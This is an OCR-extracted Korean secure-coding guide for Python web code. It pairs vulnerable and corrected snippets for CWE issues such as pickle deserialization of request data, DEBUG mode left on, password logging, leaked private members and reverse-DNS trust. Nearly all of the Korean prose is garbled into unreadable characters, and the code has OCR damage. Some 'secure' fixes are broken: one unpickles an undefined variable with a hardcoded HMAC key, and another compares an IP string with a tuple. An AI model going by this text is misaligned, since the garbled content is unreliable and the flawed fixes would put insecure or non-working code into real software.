LS Gilxil= Cfet G|/t 2hst +~ UASE S1olal JHefe 6|2 X212 Ao ME XSt XIS XM= & + gl

import sys

def get_content():

try:
f = open(myfile.txt)
s = f.readline()
i = int(s.strip())

# HXEIE MEst & £ UAS0= ZHRISHH AEst 07X ¥=2

# ZH7F LM 4~ ot

except:

print("Unexpected error ")

T e Yaan@nw =

= =

Y Tttt KIS MZatet] O|elEo met MEdet 6elE Xelettt.

1 def get_content():

2 try:

3 f = open(myfile.txt)

4: s = f.readline()

5: i = int(s.strip())

6: # 2N £+ Ae 279 ZRA =M M 02 X2
7 except FileNotFoundError:

8: print("file is not found")

9: except OSError:

ror
il

10: print("cannot open file")
11: except ValueError:
12: print("Could not convert data to an integer.")
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® CWE-754: Improper Check for Unusual or Exceptional Conditions, MITRE,
https://cwe.mitre.org/data/definitions/754.html

@ Errors and Exceptions, Python Software Foundation,
https://docs.python.org/3/tutorial/errors.html

@ Built-in Exceptions, Python Software Foundation,
https://docs.python.org/3/library/exceptions.html
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2E9R

Elol W O, NAMIDE S5)0 SATE v S1H 20| LA} HE 4 o= T OF2 QI QUELS Kol
ool
1. Null Pointer Y& =
L. e
WEH| 2 g4 NulZ2 X
.
i
1

Ot 28 Mull BRIE2 Q18 5| EHY A2 S

' HEf A28 THOYE :

g ZQIE|(Null Pointer) J&ZE 'YXO=Z 7 A7 G(Null)O| € =+ QICHEtY oh= 7H8S
ZANL YEHOR Y HOIE| AHXE WMATIE A, T HI LM 2
St Bl A8 4 ULk

PythonOlIA= Null pointer dereference?t SASIX| =L}, PythonOAl= Null 287}

AFBEIX| 249H Al None
7IQEE ARSI null JHHIQL B4S Ol BTt None2 CHZ 21012] null2t SUst 7|58 435IX| 2220 NoneO| 0

Ls—
T Ch2 e HO| sHA =Lt

0

S5t 0|02 BAISHE NoneS BIISH= 8142 ARS5IP! Nonelt L2 (0l 00|Lt ¥ 2XI)0| ZZ20M False
[ 2

NOneOI =l J\ OII— 7HX‘”% Jél 6"7' I‘Ioﬂ None 7|-Cﬂx|% ?:-!Al_gl_ozl Alﬁ%’ EE% %% _J'k_ %U:l»
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Ct. ZE0A|

PythonOlIA ZEQIEIE ALE5IK|= 2LX|ZE Null pointert SAISH Nonedts X

(e et

obstx| o2 T of

(<}

ﬂF

2F

ulny
0E
el
+

39

1:  from django.shortcuts import render
2. from xml.sax import make_parser, handler
3: import os
4:
5. def parse_xml(request):
6: filename = request.POST.get(filename’)
7 # filename®| None XM3E StX| 20t Oz LM Jts
8: if (filename.count(.) » 0):
9: name, ext = os.path.splitext(filename)
10: else:
11: ext ="
12:
13: if ext == ".xml"
14: parser = make_parser()
M e
16: sax_handler = Handler()
17: parser.setContentHandler(sax_handler)
18: parser.parse(filename)
19:
20: return sax_handler.root
FXSIIX oh= AHE SEE Wol= JHAM7t NoneO| OFIX| ZB3I0{0f STt
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1: from django.shortcuts import render

2. from xml.sax import make_parser, handler

3. import os

4:

5. def parse_xml(request):

6: filename = request.POST.get(filename’)

7 # filenameO| None 2IX| X3

8: if filename is None or filename.strip() == "
9 raise ValueError("It 0|20| QA&LICE")
10:

11: if (filename.count(.") ) 0):

12: name, ext = os.path.splitext(filename)
13 else:

14: ext ="

16

16: if ext == "'.xml"

17: parser = make_parser()

18 L

19: sax_handler = Handler()
20: parser.setContentHandler(sax_handler)
21: parser.parse(filename)
22:
23 return sax_handler.root

et Xtz

® CWE-476: NULL Pointer Dereference, MITRE,
https://cwe.mitre.org/data/definitions/476.html

@ Null Dereference, OWASP,

https://owasp.org/www-community/vulnerabilities/Null_Dereference

@ Built-in Constants, Python Software Foundation,
https://docs.python.org/3/library/constants.html|?#None
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try7= L X2
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AIEA] XHEE SHAISHO

m=Ea

m=2e

2IE{(Open File Descriptor),

or= O (= XA

HESISICE,
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Z= Q=7 vt AL close() MASI}F AISHE|X| Q0L AIRSH KHIO| BHBIE|X|

2H2tot00F Sh=M, 2=



PART HI2& AIROIZE JI0IE | HI5E ZE

L1

10 import sys

2:  def get_config():

3 lines = None

4: try:

5 f = open('config.cfg’)

6: lines = f.readlines()

7:

8: # try oM st X20| Btekclose)=7] Hof

9: # Ot LMotH SHFE AH0| AARO BreteX| o=

10: f.close()

11: return lines

12: except Exception as e:

13:

14: return "

4
Gl2la20] LMot &7t S2E M, H2lQ 2l o2t 40| 2 M= finally EE0IM &Y U2 2= XHES
HIZA| HIBKSIES BiCY,
obsist Fco| of

10 import sys

2:

3:  def get_config():

4: lines = None

bx try:

6: f = open('config.cfg’)

7: lines = f.readlines()

8: except Exception as e:

9:

10: finally:

11: # try HOIN st 2

12: # finallyZOlAl AJARIO) BESHS of 3=0{0F SHCt

13: f.close()

14: return lines

| 4

CIE W2 withE2 AFESI0 DIYE X2[5k= HHO 2, withE2] 250| 8Y I XAiISCE MYUS HORELICT 0] HAl2

CHE olei7t ZYottate o E717F 2FEL.

10 # with B2 HHLZ O £ AJAEO
2:  with open(filename.py’) as f:
3: print(f.read())
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2. AR
® CWE-404: Improper Resource Shutdown or Release, MITRE,
https://cwe.mitre.org/data/definitions/404.html

@ Unreleased Resource, OWASP,

https://owasp.org/www-community/vulnerabilities/Unreleased_Resource

@ The With statement, Python Software Foundation,

https://docs.python.org/3/reference/compound_stmts.html#grammar—token—python-grammar-with_stmt
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3. UEIE = = HIOIHS HEE9}
7L 718
1. 83T &3 IS AT 2 FEE ciofE] o Eige:

R = -
& @ =t

-

2245}

3. W3 = G W AW EE

X|235KSerialization)= T2 TN EX ZAL| XY QUAEIA AEHE CI2 MHE MYG| Q5 SeHAL| QIAEHA

FHE HIO|E AEGORZ FAfol= HYUCZ, HZ2S0IA HHET U= M| JEHE JIHZE SH6IH M2 AL
i Z0f| MESHA L

x| 5K Deserialization)= PO HAORZ HIO|H2| MY (Binary File) O|Lt HIO|E AEZ(Byte Stream)QZFE] 2|
TEZ SgeH| Fot 0] M, SR HIE/AIE 018510 2EatE YEE +LAM0A HESHE WHN SHAt HS
= MYEH AEES Y £ U= FR0s MUY + Sl XIS 0/18610] FEY Toll, HH IFE &, MH|l~
HE 54 50| 2 & + A= EoAeFHO|C

PythonOllM= pickle &S Solf 2Eat Y SXHSNE X6t 282} pickle, unpickle2 BESHY. pickle 2&2 G|O|E]
M0 CHet AE 20| gi7| MEo| Y2l IES MHck=E AQEQI pickle HIOIHE F& & U0 pickleS A0
o
o

25} S 29 hmacQ2 HIOJE{] MBI json PSS ARR3Hs 28 mafshof Bict

Azigt 4 o= ClOJES I3 51X BIEE SBORIMS TN UIVHE TE ZOHUS NS Al Yss BN
MBI Rot= Z2, B4 S0 M S0k +41 S0IM MBS HOI5i0] HO|EIS] RUYS ZBICL E=, M
4 9= HOIEI| A2 I3 RISt T HOIEZE ARHO| ZZE S2HA(Class)2He EEGH=X| ZZ51ILY, Hste
My 2 TAol0l oixjst ACS Myt

Ct. 2O

OIS OIFE & + 9l AISKIZNE 92 @2 FES Xst 5T YU, 019 22 AL APt o=5ix| g2
Qo] TEJ} M 4 ULt
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1:  import pickle
2. from django.shortcuts import render
3
4:  def load_user_object(request):
b: userinfo = bytes(request.POST.get(userinfo', "), encoding = "utf-8")
6: # MEA=RE QL2 A = gl= HOHE AZHst
7: user_obj = pickle.loads(userinfo)
8: return render(request, '/load_user_obj.html', {'obj:user_obj})
| 4
otz oMz ALBAIZRE MER2 HO|EIE hmacS 0|85I0] HETH ARBXIZRE 2 AQIX| HETt & AXIHS} S
QULF.
QLM AT of
1:  import hmac
2. import hashlib
3. import pickle
4:  from django.shortcuts import render
b
6: def load_user_object(request):
7: hash_pickle = bytes(request.POST.get(hash_pickle', "), encoding = "utf-8")
8: userinfo = bytes(request.POST.get('userinfo’, "), encoding = "utf-8")
9: # HMAC dZ2 ¢I8t HIZ7|= CHHoH MESIH ALE
10: m = hmac.new(key=b’secret_key’, digestmod=hashlib.sha512)
11: m.update(userinfo)
12: # M2 5AIZH(hash_pickle)t %23} G|0|E{(userinfo)2l
13: # ollAIZtE Hlwsio 4E
14: if hmac.compare_digest(m.digest(), hash_pickle):
152 user_obj = pickle.loads(userinfo_pickle)
16: return render(request, '/load_user_obj.html’, {'obj :user_obj})
17: else:
18: return render(request, '/error.html’, {'error':'%Z3s} @F|L|CL)
| 4
0] o= LS| CIO|EBIE HRE St= ZR0= JSONZt 22 HIAE HEHO| QMG X5t HAlg AI8Sl= A
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® CWE-502: Deserialization of Untrusted Data, MITRE,
https://cwe.mitre.org/data/definitions/502.html

@ Deserialization Cheat Sheet, OWASP,
https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html

® Python object serialization, Python Software Foundation,
https://docs.python.org/3/library/pickle.html
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Has)

£9°%! HOJE = 7IsdS =520 ¢

|:|0Il
_?E_
ne
0z
ol
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HT
ro
12
0z
i
ox
T
rH
ror
“g“
2

SoHAL R ME

1. 2% MMl et diolH 8% ==

Vi) ]

-
-

{ } class UserDescription:

__
Share saved data
S
{ } def get_user_profile(): User
user_name =
request.GET.get(name’,”) .

User

OHE A E 2Z0Me= H2E(Singleton) Zix| HEO| ZMZE74(Race Condition)0| LAgt 4= ULt MEtA, TS AYE
T £ JR3A| L=Z oHof Bt

HEUME BEE MYSks MY ot ZSE|X| S 610, M2 OE MM0A H0[H

—_ =
HEE HHS AEdhs 42, s HR(Scope)dll FUS 7I200F Bit. E35| THE A= SHA0M S2hA H0| 22
ot HAES SREEZE HAo 7c§$ QUAEHA B2 MOSI0] ARSBICL.
Ct. FE0|H|

e AZE SHZE0M moMe| ZaA Mz AYE 7t M2 SK6H ECh

Sl B0l S YYY R M= OE MM 20| H0[E7t SREI0 2=5HA| 952 HIO[E7F MEE 4= QUL
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QFMstX| =2 =9 of

1:  from django.shortcuts import render
2
3: class UserDescription:
4: user_name = "
B
6: def get_user_profile(self):
7: result = self.get_user_discription(UserDescription.user_name)
8 L
S8 return result
10:
11: def show_user_profile(self, name):
12: # SdAHSE OE MM SREE 44017] H20| HEAHE
13: # 2Z0IM SREA| 2OtOFE AHE0 CHollM AtEok= 4%
14: # CHE MA0H 2ol CIo|Ef7E =58 = UCL
15 UserDescription.user_name = name
16: self.user_profile = self.get_user_profile()
17:
18: return render(request, 'profile.html’, {profile’self.user_profile})
| 4
SREGME ¢t Bl Has QARA W2 MOIGIH M 7+ 37 =X 2EE o
obsist o] of
1:  from django.shortcuts import render
2
3: class UserDescription:
4:
55 def get_user_profile(self):
6: result = self.get_user_discription(self.user_name)
/4,
8: return result
9:
10: def show_user_profile(self, name):
11: # QIABA HZ AZEoI AE 7 SREX| Zote= Gt
12: self.user_name = name
13: self.user_profile = self.get_user_profile()
14:
115 return render(request, 'profile.html’, {'profile’:self.user_profile})
| 4
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(® CWE-488: Exposure of Data Element to Wrong Session, MITRE,
https://cwe.mitre.org/data/definitions/488.html

@ CWE-b43: Use of Singleton Pattern Without Synchronization in a Multithreaded Context, MITRE,
https://cwe.mitre.org/data/definitions/543.html

@ The global statement, Python Software Foundation,
https://docs.python.org/3/reference/simple_stmts.html#global
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2. HIALIXl 211 2 O/ 3=

L 71
=13
g |
{ } class Login():
_V def __init__(self, *args, **kwargs):

user = kwargs.pop('user", None)
passwd = kwargs.pop( “passwd', None)
_[ logger.debug( “login user is: %s, %s” , user, passwd)]

\

‘
7

f‘re\sh = kwargs.pop('fresh_login’, True) /

’

\

super(LoginClient, seff).__init__(*args, **kwargs)/l

[t SMO= MelEl TTi JH0| LREB HAHHOF BiTF T IS A% S| BIet MBS YL AAHS
HofaH B185Hs BES BT U2 4 T B, HHA M HED FS, THAK MY BES Q8L A5

U2 HEO MO HEI EE 4 QUCh

Django AL, Flask DY UYI= MAYMOZ DEBUG BES MXst 4 QUCt DEBUG 2EZ ALRSIH EH2tX
OlM 22l9| Python ZEE AAlE == AL PythonOilA LMGH RE RF7F 20 FHL-SO| 0| AT HEE
FO|MS HHE FOf| HIEA| DEBUG ZEZ H|2HMs} SHof Sict,

Lt. ot

—

ror

23714

ALES0] HIE M, BICA| D1 FEES 391 U AHEHL Django ZQYIT2 29 MAMOZ DEBUG HES

H| 2431 512 settings.py OO0 AXS 5l Flask Z3|ULT= app_run() F0f|l debug = FalseZ2 AXSIC
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Ct. ZE0A|

C22 Djangoll O|SA0| ME DIl settings.py LIUO|C} 7HEE A] AF2El DEBUG

7}) Django GiIX|

SH0| TrueZ HAFE0 QAL

from django.urls import reverse_lazy

; from django.utils.text import format_lazy
3:
4: DEBUG = True
b:
6: ROOT_URLCONF = 'test.urls'
7: SITE_ID = 1
8:
9. DATABASES = {
10: 'default': {
11 'ENGINE": 'django.db.backends.sqlite3),
12: '‘NAME": “memory:',
135 }
14: }
| 4
JHYO| Bt AATES 2F, HIE & ZR0|= DEBUG SN2 FalseE HZAGHOF SHC.
QM ACQ o
1: from django.urls import reverse_lazy
2. from django.utils.text import format_lazy
Gk
4: DEBUG = False
b
6: ROOT_URLCONF = 'test.urls'
7. SITE_ID = 1
8:
9: DATABASES = {
10: 'default {
11: 'ENGINE": 'django.db.backends.sqlite3’,
12: '‘NAME": ":memory:’,
13: }
14: '}
| 4
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L}) Flask G|

C}22 Flaskl GIMZ debug RE7} TrueZ2 MME|N Ct

from flask import Flask

app = Flask(__name_)
app.debug = True

@app.route('/')
def hello_world():
return 'Hello World!'

=P F2g RN =

= =

WO Bt 2AATES 2F, HE & FR0= debug 5SS FalseZ HZHOF

ro
o

from flask import Flask

app = Flask(__name__)
app.debug = False

@app.route(/")
def hello_world():
return 'Hello World!'

if _name__ == "__main__"
app.run()

e S CORCORSIR 0RO R CORIDR

R

gt Xz
(® CWE-489: Active Debug Code, MITRE,
https://cwe.mitre.org/data/definitions/489.htm|

® Settings, Django Software Foundation,
https://docs.djangoproject.com/en/3.2/ref/settings/#debug

@ Debug Mode, Flask,
https://flask.palletsprojects.com/en/2.0.x/quickstart/#debug-mode
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3. Public HIAEZSH Yt2tE Private HHE

Vi ]

mogy®a . Private amay

Python2 BAIMQI private 41210] QiCt SEXITH CHELRS| Python ZEJ} 2= FEIOZ 0|F A LE(O):__spam)ZE
AIZ[SIH PrivateQ2 *2|EC}. HIES publicQZ MRIE HAEE SdH BHekreturn)stH, 11 HEQ| 2TAATL 0|
S/HEIO] QAL0M HHE ~Fut 2K £4HA0| JHSSHEICE HHE & OtLl2t HE 7HsBHmutable) 2RO THal 25 22y
Stk

T2 HAl 2
public attribute, methode 7|2X9Z public
toct attribute, method 20l _(single underscore)S £0A HA| &
"
protee AF| RloF HOH= 2H,
attribute, method 20l _ (double underscore)S 20{A TA| &
private oo|Me e W22l (name mangling) 22 private HHO|| _class__member2 B2 7Hs6HX|Tt

HIZZISIA| 243,

private2 MUE HIES publicRZ MAUE HAEE Soll BretotX| == oH0F S, private HIZEO| st SARES
BIEISIES ot o A0 CHeHAE clone() HIAEE So SAtE HAE NESHTS 5t0] private MOAE HiHat ZHx|

£00| Cher Q=okX| B JElE RS UX[SHTt. 2ef HiEQ| 4Tt String EfY St 20| HFE0| ZX| gi= Z0
H

rr

Ct. IO
LE OiXl= _E OI83slA Python2| private BIES 4ot RS Hrateh= public HAEE AREst U 0 R
=3 i B0l [t 2F0|M private HIES HAY + U= ZHE HESID U
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obHst| g2 F of
10 import copy
2. class UserObj():
3: __private_variable = []
4: def __init_ (self):
B pass
6:
7: # private H{ES 2|EHSH= public HAEE AlE5t= HR F et
8: def get_private_member(self):
S8 return self.__ private_variable
| 4
Of2H GilXl= LHELE 2[RQ| HiFO0| ME HEEE AS HYsH7| 26 2 ME2 HAHE MM6IH S dietety ULt
Qrdst =9 0o
1 class UserObj():
2: __private_variable = []
3: def __init__(self):
4: pass
95
6: # private HIZS Bietol= 42 [ AMESIH 222t RS
7 # HE0| M2 HEEX| $UEE of0f St
8: def get_private_member(self):
9: return self.__private_variablel[:]
| 4
g}, &uX=z

® CWE-495: Private Data Structure Returned From A Public Method, MITRE,

https://cwe.mitre.org/data/definitions/495.htm|

@ Do not return references to private mutable class members, CERT,

https://wiki.sei.cmu.edu/confluence/display/java/OBJ05-J.+Do+not+return+references+to+private+mutable

+classtmembers

® Shallow and deep copy operations, Python Software Foundation,

https://docs.python.org/3/library/copy.html
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4. Private HHE0ll Public HIOIEH &Y

Vi ]

{} Class

F,

() AEEEEN
1 Put

9T YIS Private WZOI WAL (34 3 SAY)

mathad

H0JE] #13
—

publicR2 MAE HAEQ| QIXt7} private MAE HHEM MYEH, private HIES AF0IM H25t0] HHE =t 2%
&4 HZE0| 7Hs3HTICE

publicQE MAUE HAEO| QIXIE privateMAUEl HIZE METX| UT2 SiC} QIXIE SE0IQ GO 2AMES MM
clone() HIAEES Soff 2AME 2AE NEHSITE 510 private HIZ0]| 510 private MAE! BHED}F ZHX&SM0) CSH o=
SHA| O SEEl= WS WAISHC}. THoF HiE ZHR|2] RIATt String EHY Sit 20| #Z0| =X| o= ZR0= QIXE S0i=

Al

HES| =AZS Ydolo] eIt

Ct. ZEOIX
Ckg OiXli= _E OI&sHA Python?| LR HHES ddotil 2R ZtS HRSks public HIAEE Aot UL 0] R
£ HE B0l T2t 2F0|M private HIES HEAY &+ U= ZHE HESIL UL

import copy
class UserObj():
__private_variable = []
def __init__(self):
pass

oo Wy =

# private B0 2% %S HIR SIS public HASS ABSHs
# 32 Hors
def set_private_member(self, num):

self.__private_variable = num
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oY GilHl= LiFet Q| BEO| M2 HZEEE= HS MYch| floh [12 M22 HHE Y850 as st AUt

class UserObj():
def __init__(self):
self.__privateVariable = []

# private HiE0| 2T S HIZ Osts 22 []E AE3IH
# 222t LRl HHHO| M2 HEEX| EEZF ofof 2
def set_private_member(self, num):

YL@ =

self.__privateVariable = numl:]

et Xtz

® CWE-496: Public Data Assigned to Private Array-Typed Field, MITRE,
https://cwe.mitre.org/data/definitions/496.htm|

@ Shallow and deep copy operations, Python Software Foundation,
https://docs.python.org/3/library/copy.html

@ Private Variables, Python Software Foundation,

https://docs.python.org/3/tutorial/classes.html#private-variables
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O|=H ALZO| Hol= YHY2Z APIE AIESHALY, HOM0| FASt APIS ALESH0 ZHE 4 QU= 20|,

}

1. DNS lookup0jl o|=3t HotAH™

Vi ]

LER |misime

DHS M| A 7 wem e fr

o) ‘. Gay S
) \!,g

e agx  CAPILIDIG0 A ibani it NG

A IF=1010.10.10

=1, M W B bank kr DKS
&9
L

wieéa i kT
Eish @ 10 00,0810

SAX7EDNS AEZIS £ 4 Qlebz THQIF0| AZMM 2AEHQRIZ X B2 SH S)S SHAI 0toF 3irt. 2ok,
ZZ DNS MH2| FHAI7t SAXI0| Sl RLEE S&OHH, AEAet S8 M 19| HEQA E |

AT QIh ESH Z2ADF O SY SHII0) 43 ABOl WM IE S ULk

Lt Qrdst 27|

HOMAMOIN EHQIHS 0|8 DNS lookups SHA| ZEEE SiCt
Ct. IO

a2l dixls =HQHS Sl oiiE 2YS MY + USKIE BAfettt. 12iLt SHX= DNS i+ SS ZX6HA &
O2{gt 22t H¥S 23 + UL
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1:  import socket

2

3:  def is_trust(host_domain_name):

4: trusted = False

b trusted_host = "trust.example.com”

6: # SAX0 2ol Hlikl= MHC| DNS7F HEE £ eb=

7: # QITSEA| PATH

if trusted_host == host_name:
8: trusted = True
9: return trusted
yV
SHQIBS 083 TS SHX UL IP FAS A HlTSIES S
QrFst Q| o

1:  import socket

2

3. def is_trust(host_domain_name):

4 trusted = False

B trusted_ip = "192.168.10.7*

6: # A Mol IP FAE H|WStH DNS HXR0| g

7 dns_resolved_ip = socket.gethostbyaddr(host_domain_name)
8

9 if trusted_ip == dns_resolved_ip:
10 trusted = True
" return trusted

| 4

2t &A=

(® CWE-350: Reliance on Reverse DNS Resolution for a Security—Critical Action, MITRE,
https://cwe.mitre.org/data/definitions/350.htm|

@ Socket, Python Software Foundation,
https://docs.python.org/3/library/socket.html
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M2z JENEE

@ Developer Economics State of the Developer Nation, 20th Edition
developernation.netdA] OiH 16570= 30,000 OAC| HUXISS CHHCE MEXAIE 610 HISotLl Ql
HAIE, S2RE, HAUE loT, AHIXL HAL HiZ, UHCICATEYN, AR X VRS LSt 200 425 &

® Developer AES(Advanced Encryption Standard)

02 H2 BEC=Z X|HE =5 A4S ¥AO=Z 0|9l DESE UiMioHH, 0= &

e MEXE|ER(FIPS 197)22 YHSIACH

HEE H™ 20014 11E 2620

7l 74 (NIST)7t 539 BES}

® DES 211215
U235} 719t 23877t 22 WE7| Y2 = 64HIEQ| ST |E ALY

DES(Data Encryption Standard)& = ¢

HM4-3Z(Brute Force)3Z0f| F[2SICY.

T o™
® HMAC(Hash-based Message Authentication Code)
Sl 718 MIAX] QIF FE, MAIX| CHOINAE LW2|E 5(MD-5), SHA-1 & HIRXQI §AS38} sli4 7152 HIY
E7tsot=R o 7| 7|Hte| MAIX| QIF ¥12|F0 Tt

712t & Ar8stH, XM3IHS Hdoks A0
® HTTPS(Hypertext Transfer Protocol over Secure Socket Layer)
WWW(EE A0|E #) 4l Z2EZFQI HTTPS| Q10| Z&HEl HMO|Ct

= 88 Z2ES0|T

—_ OO —

® LDAP(Lightweight Directory Access Protocol)
TCP/IP QIO CIMER| MHIAZ X3|5t1 $H6H=

@® SHA(Secure Hash Algorithm)
siHY2|Ee 2F0=Z MD52| FHMS CHAIGIH AFESICE SHA, SHA-1, SHA-2(SHA-224, SHA-256, SHA-384,
SHA-512) §9| LISt HTMO| Qlon, s T2ESQI TLS, SSL, PGP, SSH, IPSec S0l ALEECH.

® umask
oY E= CEEDQ ATt HFol7| flgh HHEOOo|T
@ JHRI3I(Private Key)
FES531E 2ol HIZ HAIXIZE w&tcts FAKIZ0] 211 U= (0|t

37| 7|0 FHRI7 (2
©® ZSJH3I(Public Key)
KEE QB71H00 Qo MSE= 712N, 0] SH7|IZRE WdE JH217(=2 &FH AeE(0, HAIX] 3 HXt
A&ot= AIARIE BIH7] 7|8 % (Public Key Infrastructure,

O1—- L-O

U =N

M| &-=35i0f EIHOZ AEE & UL SIS

Ct.

s

PKD2t
@ B==3(directory traversal)
gz Bx YA/ B3

rok
isi

0|83l CHE CHEZ|Q SQMAN
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Python AIFOIZE JH0IE

® 3 SQL(Dynamic SQL)
D230l =240f et SQLE0| EA WeE= 22, T2 A3 Al x| #2=20] 2+4=I0 DB 2Fsh=
SQLES el
@ S3 3ZI(Dynamic Query)
ZZO|Lt EIO[EHS HHY SQL #HEIE HAIZ ddoli DBY| Mot X2loh= HAI0ICt

® AIEQ0 JHEE

ATEY0 HURHHA THERF -, =21H 2F S22 2ol AZEQ 00 WIHE 22F Y S zlasleh=s HH,
2 O1E 7HEot7| 2t E3 o abgs ofOfeict. H2 20|oIM 21

dEF7|9| 2 HAER 27k HUEES 2F ZYoHH, &2 202 SWHRZEEIA

AATES Zok= 7 HAOIM HOtFFES HiKSH | I8t "AIFO{ZE(Secure Coding)'S 2J0ISHCH.

ATEQIO Z3!, ©F SO2 oy 5 AOIHBHS QLY TH540| U= HUHQ BOHHNS Ui,

0

@ 4=E IiE(Singleton Pattern)
StLtel 28 LA ofLte] QIAEIARLS MMBHOFEL Sk= DHEO|C. Connection Pool, Thread Poolzt 20| Pool
YElZ HE|E= SUAC| 2R T2 oM T SHLte| QIABIEZ #2|5H0f She F2RE U PythonliM= 2=
HiSECt.

@ ZX I2I(Static Query)
S F2|ot 2| T2 AATC0| 00| FH2F0| S HElZ DHEC UL

@ olilEt4
FOIT HZ20IM THE Z0|9| QAftE Mok SIL[HOIH, MAE 22 G2 OI2t STt MD5, SHA, SHA,
SHA-256 &9 ¥12|50| ULt

SIOIE ZIAE(White List)
SHLAE(Black List)Q| BH7HEOR M & QU= AO[ELL IPFA

JHH
o
ng
rok
o

@ Z1 & Iy A3(Django Web Framework)
OO Z ZtME QF AA 2l mel32  DIH(Model)-E(View)-ZHEEZ2{(Controller)2] MVCHEIS =21 Ut
MEXQI MVC CIXIR! THEOA O[|0F7|Ste HESR9| 7152 ZUYT AA0IA X2I5H70] ZH(Model), HEH
(Template), F(View)Z 2= MTV D UYI 2t 617|= st HEHE HARH 2210018t Jts4, HE T

S= gZ=ofl ULt

ol

@ =2tA3 & I3 (Flask Web Framework)
moMo=z ZdE 00|32 @ T ULIF o StLto|H, St =42L 2f0|E 2|7t He gi7| W0 00|32

{32t 220
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PART HI3& 25 | H2Z 2032

® TII&(Parsing)
A9 ZAES 20| U= token(013] EAQ| HR2 = Folist INSE OIF 0 Parse treeS L= 1FHO|Ct OfH

=
=S BMoL 28X EAE oiMols YIS TelLt

@ IItX(Parser)
Zml2|(compiler)?] YHEZ HIAUZLE QIEI2|E{(Interpreter) Al RIA| T2 TS 910 S0 1 X AXE A0t
%

L= parsing(T2 2A4)S #sis ZRI#s WHiLt

@ XML(eXtensible Markup Language)

W3COIA HEEIRACH, CIE Eot SXS = DIEY A0S U= ASECE QBN SHZE AA-7|2] CIOIHE

ok
o

b
o)
HU
a
un
K=}
o)
ful

=
A FIUS 2 0 HTMLO| 3412 3=

@ DTD(Document Type Definition)
=M EY Ho(DTD)= XML M 71X & i MM A8 5= R4

® Decorator

S42 WOl BHS F7fe § 0| THA| 2140| SEZ WEIGHs S140|C ¥H22 50|17 HACLE 30| MUS &y
2 4 QIO TAZO| JKSSHAl LT LOWOIN @2 ASfSls 1202 BASIC,

® 3JH 3| 2EM(Public Key Certificate)
3712 ARHS SHot=H MEE= HA 2M0|TE. Z|o|Tist

4T =2 oo

E, AR/XAQ MH oot YE, YA CXE

MEO| ESH=|0f RACE
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